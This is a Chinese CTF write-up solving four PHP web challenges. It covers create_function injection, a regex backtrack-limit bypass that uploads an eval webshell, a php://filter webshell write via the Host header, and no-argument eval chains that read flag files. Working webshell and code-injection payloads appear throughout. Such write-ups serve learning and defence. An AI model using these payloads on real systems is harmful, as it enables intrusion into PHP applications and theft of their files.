1.easy_function
代码如下
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
这段代码很简单,首先判断有没有传入,没有传入的话就为空,然后正则匹配,你输入的action变量首字符不能是字母,数字。
如何绕过正则呢,可以投机一下,直接fuzz测试,结果为\
,为什么是这个呢?因为在php中,\
是函数的默认命名空间。那如何执行命令呢,可以用create_function()这个函数,php手册这样介绍的。
示例如下:
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
我们可以控制第二个参数,这样就能getflag了。
<?php
create_function('$a,$b', 'return 1;} phpinfo();//');
这个会返回phpinfo的结果
最终payload
先读取文件名
2.pcrewaf
代码如下
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
} 1
这段代码直接为你创造了php,但是输入的内容要绕过正则匹配,<?php后面如果有(`;?>就会被匹配到。如何绕过这个呢?这里绕过姿势真的骚,p牛文章里有详细介绍。
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
正则匹配分为两种:DFA模式和NFA模式 ,其中NFA会进行回溯,其中回溯次数有最大限制
php > var_dump(ini_get('pcre.backtrack_limit'));
string(7) "1000000"
如果超过了这个,就会返回flase
php > var_dump(preg_match('/<\?.*[(`;?>].*/is','<? @eval($_POST[‘ha’]);//'.str_repeat('c',1000000)));
bool(false)
因此造成了绕过。
payload.php 内容为
运行生成upload.txt
然后curl过去
最终getflag
http://xxx.com/data/xxxxx/x.php?ha=var_dump(scandir('../../../'));
http://xxx.com/data/xxxxx/x.php?ha=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));
学习了,学习了。
三.phpmagic
代码如下:
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif;
?>
我们可以传domain,传log_name,但是过滤的却很严格,让人难以入手,我们一步一步来。
1.domain参数,首先我们肯定是不能直接传一句话进去的,那我们想一想是不是可以base64或者其他方式加密一下,但是加密后,又无法解密,还是难以利用。
这个时候想到file_get_contents可以用php伪协议读取,那么file_put_contents是否也支持伪协议呢,然后本地试验了一下,发现还真可以,那么domain这个问题解决了。
2.log_name参数,代码中我们可以知道log_name是
log_name组成的,那么查一下手册就可以知道,server_name是host的值,所以我们只要改变host的值就可以实现php伪协议写入。
3.如何绕过文件名检查呢?可以用1.php/. 来绕过。
4.开始上传
php > echo base64_encode('<?php @eval($_REQUEST["666"]);?>');
PD9waHAgQGV2YWwoJF9SRVFVRVNUWyI2NjYiXSk7Pz4=
burp发包
但是我访问hello.php却什么都没有呢????这里有一个坑点,就是php中base64在解码的时候,如果有除了这64个字符之外的字符,就会直接跳过,=等号只能放在最后面,但是显然在文件中=号不是在最后的,所以上传的时候不能加=号。
最后得到flag
这一个题目包含了很多知识点,自己还是tcl,学习了。
四.phplimit
题目代码很简单
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
这个代码很简单,正则匹配的(?R),这个意思是重复前面的,也就是这个正则只能匹配形如这样的,fun(func());
,哎 自己还是太菜了,看了师傅们的wp,学习了很多。
解法1:
get_defined_vars函数,这个函数能返回已定义变量所组成的数组。其中就有$_GET和 $_POST。那么我们就可以发传入一个参数,然后用get_defined_vars这个函数来获取。
payload如下:
?code=eval(next(current(get_defined_vars())));&a=print_r(scandir(getcwd()));
解法2:
session_id()函数,用来获取当前用户的phpsessid。
session_start() 会创建新会话或者重用现有会话。如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID,则会重用现有会话。
hex2bin — 转换十六进制字符串为二进制字符串。
利用这三个函数我们就可以进行一些操作。
解法3:
dirname函数给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。
chdir函数将目录切换到当前目录。
例如:
var_dump(getcwd()); // /phpstudy/www/123
var_dump(chdir(dirname(getcwd())); // /phpstudy/www
因此我们可以构造payload:
var_dump(scandir(dirname(chdir(dirname(getcwd())))));
得到
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }
最终payload
?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));